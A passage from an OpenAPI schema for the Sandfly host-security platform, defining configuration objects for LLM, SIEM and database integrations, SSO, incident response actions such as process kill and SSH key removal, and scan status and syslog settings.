activity.","default":1440,"minimum":5,"maximum":44640}}},"ServerConfigScanningBinary":{"type":"object","required":["agent_names","agent_reverse_dns_lookup","home_dir_base_paths"],"properties":{"agent_names":{"format":"string","type":"string","description":"Comma-separated list of names to use for the Sandfly binary that is sent to target hosts.","default":"sandfly"},"agent_reverse_dns_lookup":{"type":"boolean","description":"Configure node to perform a Reverse DNS lookup on IP addresses"},"home_dir_base_paths":{"type":"string","description":"Comma-separated list of directories to search for inferred user home directories during scans.","default":"/home"}}},"ServerConfigLLM":{"type":"object","required":["enabled","provider","model","available_models","url","ca_cert","results_limit"],"properties":{"enabled":{"type":"boolean","description":"Indicates of LLM analysis integration is enabled or not."},"provider":{"type":"string","description":"LLM API service to use.","enum":["Claude","custom","DigitalOcean","Gemini","OpenAI","xAI"]},"password":{"type":"string","nullable":true,"description":"API key for the LLM provider. Will be stored encrypted in the Sandfly database and not returned in getconfig calls. Leave as null when updating configuration to not replace the existing saved password."},"model":{"type":"string","description":"Model name to use."},"available_models":{"type":"array","items":{"type":"string"},"readOnly":true,"description":"After saving the configuration with enabled=true, the server will make an API call to the selected provider to get the list of available models. The next time the config is retrieved, this array will have the updated list of available models."},"url":{"type":"string","description":"URL of the custom API. Only allowed to be present when provider = custom"},"ca_cert":{"type":"string","description":"Optional trusted CA certificate, in PEM format, to use with the custom API. Ignored when provider is not custom"},"results_limit":{"type":"integer","description":"Maximum number of artifacts a user is allowed to select for a single analysis. Results about the same artifact count once."},"include_user_header":{"type":"boolean","default":false,"description":"Send the username of the Sandfly user who requested an AI request to the provider in an X-Sandfly-Username HTTP header. Applies to every request a user asks for: AI analysis, and AI triage requested manually (including when AI triage has its own provider configuration). Automatic AI triage requests are not made on behalf of a user and never include the header."}}},"ServerConfigElastic":{"required":["enabled","url","ca_cert","username","summary_results","duplicate_alerts","duplicate_summary"],"description":"ElasticSearch replication settings.","type":"object","properties":{"ca_cert":{"format":"string","type":"string","description":"Trusted CA certificate when connecting to HTTPS Elastic endpoint, in PEM format."},"enabled":{"type":"boolean","description":"Whether or not ElasticSearch replication is enabled."},"password":{"format":"string","type":"string","nullable":true,"description":"Login password for ElasticSearch. Will be stored encrypted in the Sandfly database and not returned in getconfig API calls. When updating configuration, leave null to not replace existing saved password."},"url":{"format":"string","type":"string","description":"ElasticSearch HTTP/HTTPS URL."},"username":{"format":"string","type":"string","description":"ElasticSearch login username."},"summary_results":{"description":"Include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false},"duplicate_alerts":{"description":"Send a duplicate alert when the alert is updated with new information.","type":"boolean","default":false},"duplicate_summary":{"description":"When sending duplicate alerts, include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false}}},"ServerConfigPostgres":{"type":"object","required":["enabled","username","database","host","extra_options"],"description":"PostgreSQL replication settings.","properties":{"enabled":{"type":"boolean","description":"Indicates if PostgreSQL replication is enabled or not."},"database":{"format":"string","type":"string","description":"Database name on the target PostgreSQL server."},"extra_options":{"format":"string","type":"string","description":"Extra options to include in the connection string to PostgreSQL. Must be in the 'option=value option2=value2 ...' format."},"host":{"format":"string","type":"string","description":"PostgreSQL hostname or IP address."},"password":{"format":"string","type":"string","nullable":true,"description":"PostrgeSQL login password. Will be stored encrypted in the Sandfly database and not returned in getconfig calls. Leave as null when updating configuration to not replace the existing saved password."},"username":{"format":"string","type":"string","description":"PostgreSQL login username."}}},"ServerConfigSentinel":{"type":"object","required":["enabled","ssh_enabled","host_enabled","tenant_id","client_id","ingest_url","dcr_id","stream_name","ssh_stream_name","host_stream_name","alerts_only","summary_results","duplicate_alerts","duplicate_summary","auth_method","auth_certificate"],"description":"Microsoft Sentinel replication settings.","properties":{"enabled":{"type":"boolean","description":"Indicates if Sentinel replication is enabled or not."},"ssh_enabled":{"type":"boolean","description":"Indicates if Sentinel SSH Key replication is enabled or not."},"host_enabled":{"type":"boolean","description":"Indicates if Sentinel Hosts replication is enabled or not."},"tenant_id":{"format":"string","type":"string","description":"Microsoft Azure Tenant ID GUID."},"client_id":{"format":"string","type":"string","description":"Microsoft Azure Application Client ID GUID."},"ingest_url":{"format":"string","type":"string","description":"Sentinel Data collection endpoint logs ingestion base URL."},"dcr_id":{"format":"string","type":"string","description":"Sentinel Data collection rule immutable ID."},"stream_name":{"format":"string","type":"string","description":"Sentinel Data collection rule Results custom table stream name."},"ssh_stream_name":{"format":"string","type":"string","description":"Sentinel Data collection rule SSH Key custom table stream name."},"host_stream_name":{"format":"string","type":"string","description":"Sentinel Data collection rule Hosts custom table stream name."},"alerts_only":{"type":"boolean","description":"Indicates type of results to send to Sentinel. True sends only alert and error results, false sends all results. Either way, a result already sent is sent again when its alert is resolved, because it was whitelisted to a pass or a later scan superseded it. A superseded alert is sent with SandflyStatus pass, and SandflyData.Superseded true."},"summary_results":{"description":"Include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false},"duplicate_alerts":{"description":"Send a duplicate alert when the alert is updated with new information.","type":"boolean","default":false},"duplicate_summary":{"description":"When sending duplicate alerts, include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false},"auth_method":{"type":"string","description":"Whether to use a client secret or certificate credentials for authentication.","enum":["client_secret","certificate_credentials"]},"auth_certificate":{"type":"string","description":"Only used when auth_method is certificate_credentials. x509 certificate, in PEM format, that matches a certificate in the Azure app registration for Sandfly to authenticate with Azure. Azure requires that the certificate use RSA keys."},"password":{"format":"string","type":"string","nullable":true,"description":"When auth_method is client_secret, this is the Client Secret value to log in to Azure with. When auth_method is certificate_credentials, this is an unencrypted private key in PEM format associated with auth_certificate. In both cases, will be stored encrypted in the Sandfly database and not returned in getconfig calls. Leave as null when updating configuration to not replace the existing saved secret value."}}},"ServerConfigSSO":{"type":"object","description":"SSO configuration options.","required":["saml_enabled","idp_entity_id","idp_certificate","idp_sso_binding","request_signature_method","sp_entity_id","sp_certificate","sp_private_key"],"properties":{"idp_certificate":{"format":"string","type":"string","description":"IDP certificate (IDP X509 Certificate provided in the IDP's SAML metadata)."},"idp_entity_id":{"format":"string","type":"string","description":"IDP entity ID (entityID attribute on the EntityDescriptor element of the IDP's SAML metadata)."},"idp_sso_binding":{"format":"string","type":"string","description":"IDP SSO binding URL."},"request_signature_method":{"$ref":"#/components/schemas/RequestSignatureMethod"},"sp_certificate":{"format":"string","type":"string","description":"If request signing is used, this Sandfly system's certificate."},"sp_entity_id":{"format":"string","type":"string","description":"This Sandfly system's client entity ID."},"sp_private_key":{"format":"string","type":"string","description":"If request signing is used, this Sandfly system's private key."},"saml_enabled":{"type":"boolean","description":"Is SAML SSO enabled for this Sandfly instance."}}},"ServerConfigAdvanced":{"type":"object","description":"Advanced performance tuning configuration. If the Postgres server allows fewer connections than the configured pool sizes require, the server starts with smaller pools and logs an error.","required":["db_pool_size","db_pool_size_nodes","result_workers","disable_nightly_maintenance","disable_strict_tls_policy","sso_redirect_prefix","esrepl_batch_size","sentinel_batch_size"],"properties":{"db_pool_size":{"type":"integer","format":"int64","minimum":20,"maximum":100,"description":"Database connection pool size for general operations.","default":50},"db_pool_size_nodes":{"type":"integer","format":"int64","minimum":20,"maximum":100,"description":"Database connection pool size dedicated to node result ingestion, AI triage, and some other background activity.","default":30},"result_workers":{"type":"integer","format":"int64","minimum":5,"maximum":100,"description":"Number of concurrent workers for processing scan results.","default":20},"disable_nightly_maintenance":{"type":"boolean","description":"Disable nightly database maintenance tasks. When true, relies on PostgreSQL autovacuum for maintenance.","default":false},"disable_strict_tls_policy":{"type":"boolean","description":"Disable strict TLS policy for the server. When true, uses Go's default TLS configuration. When false (default), enforces TLS 1.2+ with a limited set of strong cipher suites. Changes require a server restart to take effect.","default":false},"sso_redirect_prefix":{"type":"string","description":"Optional URL prefix for SSO redirect after successful SAML authentication. If set, the SSO redirect will use this prefix instead of the root path."},"esrepl_batch_size":{"type":"integer","format":"int64","minimum":1,"maximum":500,"description":"Elasticsearch result replication batch size.","default":250},"sentinel_batch_size":{"type":"integer","format":"int64","minimum":1,"maximum":500,"description":"Sentinel result replication batch size.","default":250}}},"ServerConfigAdvancedEdit":{"type":"object","description":"Advanced performance tuning configuration. Changes require a server restart to take effect. If the Postgres server allows fewer connections than the configured pool sizes require, the server starts with smaller pools and logs an error.","properties":{"db_pool_size":{"type":"integer","format":"int64","nullable":true,"minimum":20,"maximum":100,"description":"Database connection pool size for general operations.","default":50},"db_pool_size_nodes":{"type":"integer","format":"int64","nullable":true,"minimum":20,"maximum":100,"description":"Database connection pool size dedicated to node result ingestion, AI triage, and some other background activity.","default":30},"result_workers":{"type":"integer","format":"int64","nullable":true,"minimum":5,"maximum":100,"description":"Number of concurrent workers for processing scan results.","default":20},"disable_nightly_maintenance":{"type":"boolean","nullable":true,"description":"Disable nightly database maintenance tasks. When true, relies on PostgreSQL autovacuum for maintenance.","default":false},"disable_strict_tls_policy":{"type":"boolean","nullable":true,"description":"Disable strict TLS policy for the server. When true, uses Go's default TLS configuration. When false (default), enforces TLS 1.2+ with a limited set of strong cipher suites. Changes require a server restart to take effect.","default":false},"sso_redirect_prefix":{"type":"string","nullable":true,"description":"Optional URL prefix for SSO redirect after successful SAML authentication. If set, the SSO redirect will use this prefix instead of the root path."},"esrepl_batch_size":{"type":"integer","format":"int64","nullable":true,"minimum":1,"maximum":500,"description":"Elasticsearch result replication batch size.","default":250},"sentinel_batch_size":{"type":"integer","format":"int64","nullable":true,"minimum":1,"maximum":500,"description":"Sentinel result replication batch size.","default":250}}},"RequestSignatureMethod":{"type":"string","enum":["none","sha1","sha256","sha512"],"description":"Request signing method. Typically 'none'."},"ResponseActionOrder":{"description":"A single scan order dispatched (or short-circuited) by a response action request. A result response action always produces one order; SSH key actions produce one per affected host.","properties":{"action_ids":{"description":"Action IDs created for this order. Process and file orders contain one; SSH key orders contain one per affected user.","type":"array","items":{"type":"integer","format":"int64"}},"run_id":{"description":"Run ID of the scan order that will execute the action(s). Empty when the action was fulfilled immediately from a previously cached retrieval and no scan was dispatched.","type":"string"},"target_address":{"description":"Sandfly's host target address (hostname or IP) for the host at request time.","type":"string"},"node_name":{"description":"OS-reported hostname of the target host.","type":"string"},"host_id":{"description":" ID of the target host.","type":"string"},"host_sequence_id":{"description":"Sequence ID of the target host.","type":"integer"},"pid":{"description":"Process ID targeted by the action (process actions only).","type":"integer"},"path":{"description":"File path targeted by the action (file_retrieve only).","type":"string"},"users":{"description":"Usernames targeted on this host (SSH key actions only). Parallel to action_ids.","type":"array","items":{"type":"string"}},"data_hash":{"description":"SHA-512 (hex) content hash of a previously retrieved blob that fulfilled this action without dispatching a scan. Pair with GET /responseaction/data/{hash} to download.","type":"string"}},"required":["action_ids","run_id","target_address","node_name","host_id","host_sequence_id"],"type":"object"},"ResponseActionResponse":{"description":"Response envelope for /responseaction/result/..., /responseaction/artifact/..., and /responseaction/sshpubkey/... POST endpoints.\n\nFor retrieve actions (process_retrieve, file_retrieve), if a blob with the same SHA-512 hash has already been retrieved (from this or any other host) the server returns HTTP 200 and the single order carries data_hash with an empty run_id (no scan dispatched, action already logged as successful). Otherwise HTTP 202 is returned and the order carries the run_id of the dispatched scan.","properties":{"status":{"description":"HTTP status code.","format":"int32","type":"integer","example":202},"detail":{"description":"Status message.","type":"string","example":"response action queued"},"action":{"$ref":"#/components/schemas/ResponseActionType"},"key_id":{"description":"SSH public key ID the action targets (SSH key actions only).","type":"integer"},"orders":{"description":"Orders created for this request, one per target host.","type":"array","items":{"$ref":"#/components/schemas/ResponseActionOrder"}}},"required":["status","detail","action","orders"],"type":"object"},"ResponseActionType":{"description":"The type of action that was performed.","oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeResult"},{"$ref":"#/components/schemas/ResponseActionTypeSsh"}]},"ResponseActionTypeResult":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeProcessNonCached"},{"$ref":"#/components/schemas/ResponseActionTypeProcessCached"},{"$ref":"#/components/schemas/ResponseActionTypeFileCached"}]},"ResponseActionTypeSsh":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeSshNonCached"}]},"ResponseActionTypeNonCached":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeProcessNonCached"},{"$ref":"#/components/schemas/ResponseActionTypeSshNonCached"}]},"ResponseActionTypeCached":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeProcessCached"},{"$ref":"#/components/schemas/ResponseActionTypeFileCached"}]},"ResponseActionTypeProcessNonCached":{"type":"string","enum":["process_kill","process_suspend","process_resume"]},"ResponseActionTypeProcessCached":{"type":"string","enum":["process_retrieve"]},"ResponseActionTypeFileCached":{"type":"string","enum":["file_retrieve"]},"ResponseActionTypeSshNonCached":{"description":"The type of action that was performed.","type":"string","enum":["sshkey_remove","sshkey_dedup"]},"ResponseActionStatus":{"description":"Current status of the action.","anyOf":[{"$ref":"#/components/schemas/ResponseActionStatusSuccess"},{"$ref":"#/components/schemas/ResponseActionStatusFailure"},{"$ref":"#/components/schemas/ResponseActionStatusInFlight"}]},"ResponseActionStatusInFlight":{"type":"string","enum":["pending"]},"ResponseActionStatusFailure":{"type":"string","enum":["verification_failed","failed","skipped","node_denied"]},"ResponseActionStatusSuccess":{"type":"string","enum":["success"]},"ResponseActionLogSummary":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionLogSummaryNonCached"},{"$ref":"#/components/schemas/ResponseActionLogSummaryNonCached"}]},"ResponseActionLogCommon":{"properties":{"action_id":{"description":"Numeric identifier for this response action","type":"integer","format":"int64"},"correlation_id":{"description":"Internal identifier sent in the order during response execution.","type":"string"},"run_id":{"description":"Run ID of the scan order that executed this action. Empty if the action was fulfilled from cached data.","type":"string"},"status":{"$ref":"#/components/schemas/ResponseActionStatus"},"message":{"description":"Human-readable detail about the action outcome.","type":"string"},"requested_by":{"description":"Username of the user who initiated the action.","type":"string"},"requested_at":{"description":"Timestamp when the action was requested.","type":"string","format":"date-time"},"completed_at":{"description":"Timestamp when the action result was received. Null while pending.","type":"string","format":"date-time"},"host_id":{"description":"Host ID of the target host.","type":"string"},"host_sequence_id":{"description":"Numeric sequence ID of the target host at the time the action was requested.","type":"integer"},"target_address":{"description":"Target address (hostname or IP) for the host at the time the action was requested.","type":"string"},"node_name":{"description":"OS-reported hostname of the target host at the time the action was requested.","type":"string"},"last_seen_ip_addr":{"description":"Last-seen IP address of the target host at the time the action was requested.","type":"string"},"source_artifact_id":{"description":"Numeric artifact ID the action was taken against. Null for actions that do not target an artifact (e.g. SSH key removal by key ID).","type":"integer","format":"int64"},"source_result_id":{"deprecated":true,"description":"Deprecated: use source_artifact_id. Numeric result ID the action was requested through, when it was requested with POST /responseaction/result/{id}/{action}. For actions requested on the artifact directly, one of the artifact's results chosen to represent it: a current result in preference to a superseded one, then an alert in preference to an error or pass. Null for actions not initiated from an artifact or result (e.g. SSH key removal by key ID). The action itself was taken against the artifact in source_artifact_id.","type":"integer","format":"int64"},"data_hash":{"description":"SHA-512 content hash of an associated binary blob (retrieved process binary or file). Use GET /responseaction/data/{hash} to download. Empty if no data was retrieved.","type":"string"},"key_data":{"description":"Most-relevant string identifier for the action's target: file path for file_retrieve, process name for process actions, SSH key friendly name for SSH key actions. Empty if the action target had no identifier available.","type":"string"},"hash":{"description":"Cryptographic hashes of the action's target item (process binary, file, or SSH key). Individual fields are empty if the corresponding hash was not collected.","type":"object","required":["md5","sha1","sha256","sha512"],"properties":{"md5":{"type":"string","description":"MD5 hash of the target item."},"sha1":{"type":"string","description":"SHA-1 hash of the target item."},"sha256":{"type":"string","description":"SHA-256 hash of the target item."},"sha512":{"type":"string","description":"SHA-512 hash of the target item."}}},"host_exists":{"description":"True if the original target host record still exists in Sandfly and has not been deleted. When false, GET /hosts/{host_id} will return 404.","type":"boolean"},"source_artifact_exists":{"description":"True if the artifact the action was taken against still exists and can be retrieved with GET /artifacts/{source_artifact_id}. When false, that request will return 404, for example because the artifact or its host has been deleted. Always false when source_artifact_id is null.","type":"boolean"},"source_result_exists":{"deprecated":true,"description":"Deprecated: use source_artifact_exists. True if the original source result still exists in the results table. When false, GET /results/{source_result_id} will return 404. Always false when source_result_id is null.","type":"boolean"}},"required":["action_id","correlation_id","run_id","status","requested_by","requested_at","host_id","host_sequence_id","target_address","node_name","last_seen_ip_addr","key_data","hash","host_exists","source_artifact_exists","source_result_exists"],"type":"object"},"ResponseActionLogSummaryNonCached":{"required":["action_type"],"allOf":[{"$ref":"#/components/schemas/ResponseActionLogCommon"}],"properties":{"action_type":{"$ref":"#/components/schemas/ResponseActionTypeNonCached"},"source_result_id":{"deprecated":true,"description":"Deprecated: use source_artifact_id. Numeric result ID the action was requested through, when it was requested with POST /responseaction/result/{id}/{action}. For actions requested on the artifact directly, one of the artifact's results chosen to represent it: a current result in preference to a superseded one, then an alert in preference to an error or pass. Null for actions not initiated from an artifact or result (e.g. SSH key removal by key ID). The action itself was taken against the artifact in source_artifact_id.","type":"integer","format":"int64"}},"type":"object"},"ResponseActionLogSummaryCached":{"required":["action_type"],"allOf":[{"$ref":"#/components/schemas/ResponseActionLogCommon"}],"properties":{"action_type":{"$ref":"#/components/schemas/ResponseActionTypeCached"},"source_result_id":{"deprecated":true,"description":"Deprecated: use source_artifact_id. Numeric result ID the action was requested through, when it was requested with POST /responseaction/result/{id}/{action}. For actions requested on the artifact directly, one of the artifact's results chosen to represent it: a current result in preference to a superseded one, then an alert in preference to an error or pass. Null for actions not initiated from an artifact or result (e.g. SSH key removal by key ID). The action itself was taken against the artifact in source_artifact_id.","type":"integer","format":"int64"},"data_hash":{"description":"SHA-512 content hash of an associated binary blob (retrieved process binary or file). Use GET /responseaction/data/{hash} to download. Empty if no data was retrieved.","type":"string"}},"type":"object"},"ResponseActionLogList":{"properties":{"data":{"type":"array","items":{"$ref":"#/components/schemas/ResponseActionLogSummary"}},"more_results":{"type":"boolean","description":"True if additional pages of results are available."}},"required":["data","more_results"],"type":"object"},"ResponseActionLogEntry":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionLogEntrySSH"},{"$ref":"#/components/schemas/ResponseActionLogEntryResult"}]},"ResponseActionLogEntrySSH":{"allOf":[{"$ref":"#/components/schemas/ResponseActionLogCommon"}],"required":["action_type"],"properties":{"action_type":{"allOf":[{"$ref":"#/components/schemas/ResponseActionTypeProcessNonCached"},{"$ref":"#/components/schemas/ResponseActionTypeProcessCached"},{"$ref":"#/components/schemas/ResponseActionTypeSshNonCached"}]},"source_result_json":{"$ref":"#/components/schemas/SshKeySummary","nullable":true,"description":"Copy of the source result JSON at the time the action was requested."},"action_result_json":{"$ref":"#/components/schemas/ResponseActionReceiptSsh"}},"type":"object"},"ResponseActionLogEntryResult":{"allOf":[{"$ref":"#/components/schemas/ResponseActionLogCommon"}],"required":["action_type"],"properties":{"action_type":{"allOf":[{"$ref":"#/components/schemas/ResponseActionTypeResult"}]},"source_artifact_json":{"allOf":[{"$ref":"#/components/schemas/ArtifactDetail"}],"nullable":true,"description":"Copy of the artifact the action was taken against, as GET /artifacts/{id} reported it at the time the action was requested."},"source_result_json":{"allOf":[{"$ref":"#/components/schemas/Result"}],"nullable":true,"deprecated":true,"description":"Deprecated: use source_artifact_json. Copy of the result named by source_result_id at the time the action was requested. source_artifact_json is the record of what the action was taken against."},"action_result_json":{"$ref":"#/components/schemas/ResponseActionReceiptResult"}},"type":"object"},"ResponseActionReceipt":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionReceiptSsh"},{"$ref":"#/components/schemas/ResponseActionReceiptResult"}]},"ResponseActionReceiptCommon":{"readOnly":true,"type":"object","properties":{"id":{"type":"string"},"status":{"$ref":"#/components/schemas/ResponseActionStatus"},"message":{"description":"Human-readable detail about the action outcome.","type":"string"},"verified":{"type":"boolean"}}},"ResponseActionReceiptSsh":{"readOnly":true,"type":"object","allOf":[{"$ref":"#/components/schemas/ResponseActionReceiptCommon"}],"properties":{"type":{"$ref":"#/components/schemas/ResponseActionTypeSshNonCached"},"sshkey_files":{"type":"array","items":{"$ref":"#/components/schemas/ResponseActionReceiptSshKeyFile"}}}},"ResponseActionReceiptSshKeyFile":{"readOnly":true,"type":"object","properties":{"path":{"type":"string"},"keys_found":{"type":"number"},"backup_path":{"type":"string"},"keys_removed":{"type":"number"},"keys_remaining":{"type":"number"}}},"ResponseActionReceiptResult":{"readOnly":true,"type":"object","allOf":[{"$ref":"#/components/schemas/ResponseActionReceiptCommon"}],"required":["type"],"properties":{"type":{"oneOf":[{"$ref":"#/components/schemas/ResponseActionTypeResult"}]},"actual_path":{"type":"string"},"data_size":{"type":"number"},"actual_hash_sha512":{"type":"string"}}},"SSHKeyActionRequest":{"description":"Optional JSON body for an SSH key response action request. An empty body is equivalent to setting the allow_last_key_removal property to false.","properties":{"allow_last_key_removal":{"description":"When true, override the last-key protection safety check. Without this flag set, a 'sshkey_remove' action that would leave any affected host with zero SSH keys known to Sandfly is denied with HTTP 409. Has no effect for the 'sshkey_dedup' action.","type":"boolean"}},"type":"object"},"SSHKeyLastKeyProtectionResponse":{"description":"Returned with HTTP 409 when a 'remove' action is denied because it would remove the last SSH key Sandfly knows about on one or more hosts. Set allow_last_key_removal=true in the request body to override.","properties":{"status":{"description":"HTTP status code.","format":"int32","type":"integer","example":409},"title":{"description":"Short description of status.","type":"string","example":"Last SSH Key Protection"},"detail":{"description":"Extended explanation of status.","type":"string"},"data":{"description":"Data describing which hosts (and which users on those hosts) would be left with no known SSH keys.","type":"object","properties":{"hosts":{"type":"array","items":{"type":"object","properties":{"host_sequence_id":{"description":"Sequence ID of the host that would be left with no known SSH keys.","format":"int32","type":"integer"},"hostname":{"description":"Hostname of the affected host.","type":"string"},"users":{"description":"Usernames on the host that would lose the last known SSH key.","type":"array","items":{"type":"string"}}},"required":["host_sequence_id","hostname","users"]}}},"required":["hosts"]}},"required":["status","title","detail","data"],"type":"object"},"StandardResponse":{"allOf":[{"$ref":"#/components/schemas/StandardResponseStatus"}],"properties":{"data":{"description":"Data that can go along with the status.","type":"string"}},"required":["data"],"type":"object"},"StandardResponseStatus":{"properties":{"detail":{"description":"Extended explanation of status.","type":"string"},"formattedDetail":{"description":"Optional additional details about the status (typically an error) that, if present and not an empty string, should be displayed as pre-formatted, monospaced text.","type":"string"},"status":{"description":"HTTP status code.","format":"int32","maximum":599,"minimum":100,"type":"integer"},"title":{"description":"Short description of status.","type":"string"}},"required":["status","title","detail"],"type":"object"},"StatusNodes":{"required":["queues","tasks"],"properties":{"queues":{"description":"List of queues available.","items":{"required":["name","total"],"properties":{"name":{"description":"Name of queue.","type":"string"},"total":{"description":"Total number of nodes servicing this queue.","type":"integer"}},"type":"object"},"type":"array"},"tasks":{"description":"List of tasks in waiting.","required":["queues","total_tasks"],"properties":{"queues":{"description":"List of queues available.","items":{"$ref":"#/components/schemas/StatusQueue"},"type":"array"},"total_tasks":{"description":"Total number of tasks.","type":"integer"}},"type":"object"}},"type":"object"},"StatusQueue":{"required":["name","tasks","total"],"properties":{"name":{"description":"Name of queue available.","type":"string"},"tasks":{"description":"List of tasks in queue.","items":{"$ref":"#/components/schemas/StatusTask"},"type":"array"},"total":{"description":"Total number of hosts in queue.","type":"integer"}},"type":"object"},"StatusSchedule":{"type":"object","description":"Information about a schedule that is currently running and adding hosts to the scan queue.","required":["id","name","start_time","finish_time","total_hosts","remaining_hosts"],"properties":{"id":{"type":"string","description":"ID of the active schedule."},"name":{"type":"string","description":"Name of the active schedule."},"start_time":{"type":"string","format":"date-time","description":"Time this schedule ran began."},"finish_time":{"type":"string","description":"Time this schedule run will finish."},"total_hosts":{"type":"integer","description":"Number of hosts in this schedule run."},"remaining_hosts":{"type":"integer","description":"Number of hosts remaining to be added to the scan queue."}}},"StatusSystem":{"type":"object","required":["hosts","results"],"properties":{"hosts":{"required":["total","total_active","total_inactive"],"properties":{"total":{"type":"integer"},"total_active":{"type":"integer"},"total_inactive":{"type":"integer"}}},"results":{"required":["hourly"],"properties":{"hourly":{"required":["alert","pass","error","all"],"properties":{"alert":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"},"pass":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"},"error":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"},"all":{"$ref":"#/components/schemas/StandardTimeBasedGraphData"}}}}}}},"StatusByNodes":{"required":["nodes","schedules","nightly_maintenance_running","nightly_maintenance_start","ingest_queue_depth"],"properties":{"nodes":{"$ref":"#/components/schemas/StatusNodes"},"schedules":{"type":"array","items":{"$ref":"#/components/schemas/StatusSchedule"}},"nightly_maintenance_running":{"type":"boolean","description":"The nightly maintenance is running."},"nightly_maintenance_start":{"type":"string","format":"date-time","description":"If maintenance is running, the time is started. Null if not running.","nullable":true},"ingest_queue_depth":{"type":"integer","description":"The number of finished scans that are waiting in the server result ingestion queue to be imported into the database."}},"type":"object"},"StatusByTags":{"required":["Collection","Command And Control","Credential Access","Defense Evasion","Directory","Discovery","Execution","Exfiltration","File","Impact","Initial Access","Lateral Movement","Log","Persistence","Policy","Privilege Escalation","Process","Recon","User"],"properties":{"Collection":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Command And Control":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Credential Access":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Defense Evasion":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Directory":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Discovery":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Execution":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Exfiltration":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"File":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Impact":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Initial Access":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Lateral Movement":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Log":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Persistence":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Policy":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Privilege Escalation":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Process":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"Recon":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"},"User":{"$ref":"#/components/schemas/TimeBasedTotalGraphData"}},"type":"object"},"StatusTask":{"properties":{"host_id":{"description":"ID of the host this task is for.","type":"string"},"hostname":{"description":"Name of host this task is for.","type":"string"},"queue":{"description":"Name of queue this task is in.","type":"string"},"run_id":{"description":"ID of the run this task is part of.","type":"string"},"source":{"description":"Source of host this task is for.","type":"string"},"start_time":{"description":"Time this task started.","type":"string"},"target_address":{"description":"Address of host this task is for.","type":"string"},"task_type":{"description":"Type of task.","enum":["add_host","scan"],"type":"string"},"assigned":{"description":"Has this task been assigned to a node?","type":"boolean"}},"type":"object"},"SyslogAdd":{"required":["name"],"allOf":[{"$ref":"#/components/schemas/SyslogUpdate"}],"properties":{"name":{"description":"A readable name for this syslog entry.","type":"string"}},"type":"object"},"SyslogUpdate":{"required":["hostname","udp_port","pass_facility","alert_facility","audit_facility","error_facility","transport","use_tls","summary_results","duplicate_alerts","duplicate_summary","full_json_result","ignore_certs","ca_cert_b64"],"properties":{"hostname":{"description":"hostname or IP address used with this syslog entry.","type":"string","format":"uri"},"pass_facility":{"description":"Integer Syslog Facility code for Pass Results","type":"integer","default":-1,"minimum":-1,"maximum":23},"alert_facility":{"description":"Integer Syslog Facility code for Alert Results","type":"integer","default":-1,"minimum":-1,"maximum":23},"audit_facility":{"description":"Integer Syslog Facility code for Audit Logs","type":"integer","default":-1,"minimum":-1,"maximum":23},"error_facility":{"description":"Integer Syslog Facility code for Scan Error Logs","type":"integer","default":-1,"minimum":-1,"maximum":23},"udp_port":{"description":"Port number to use to send syslog data (despite 'udp' in the property name, this is also used for TCP connections).","format":"int32","type":"integer","default":514},"transport":{"$ref":"#/components/schemas/SyslogTransport"},"use_tls":{"description":"When using TCP transport, use TLS. This property has no effect if transport is 'udp'.","type":"boolean","default":false},"summary_results":{"description":"Include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false},"duplicate_alerts":{"description":"Send a duplicate alert when the alert is updated with new information.","type":"boolean","default":false},"duplicate_summary":{"description":"When sending duplicate alerts, include the summary result JSON rather than the full size result JSON.","type":"boolean","default":false},"full_json_result":{"description":"Send the complete result document (the same JSON the API returns for the result) in the syslog message with no message size limit. The result_summary and host structured data elements are omitted since the document already contains that metadata. Takes precedence over summary_results and duplicate_summary. Full results may exceed the size of a single UDP datagram, so TCP transport is recommended.","type":"boolean","default":false},"ignore_certs":{"description":"When using TLS, set this property to true to disable certificate validation. This property has no effect unless transport=tcp and use_tls=true.","type":"boolean","default":false},"ca_cert_b64":{"description":"Optional base64-encoded PEM-format certificate to append to the system certificate pool to use for syslog TLS server certificate validation. This property has no effect unless transport=tcp, use_tls=true, and ignore_certs=false.","type":"string"}},"type":"object"},"SystemdActiveState":{"type":"string","title":"SystemdActiveState","description":"The running state of a systemd unit.","enum":["active","reloading","inactive","failed","activating","deactivating","maintenance"],"x-enumDescriptions":{"active":"Running or in use.","reloading":"Reloading its configuration.","inactive":"Not running.","failed":"Entered a failure state.","activating":"Starting up.","deactivating":"Shutting down.","maintenance":"In maintenance."},"x-enumSeverities":{"active":0,"reloading":0,"inactive":0,"failed":2,"activating":0,"deactivating":0,"maintenance":0}},"SystemdLoadState":{"type":"string","title":"SystemdLoadState","description":"Whether systemd could load a unit's configuration.","enum":["loaded","not-found","error","masked","bad-setting","merged","stub"],"x-enumDescriptions":{"loaded":"The unit file was found and parsed.","not-found":"No unit file exists: a stale or removed unit still referenced.","error":"The unit file exists but could not 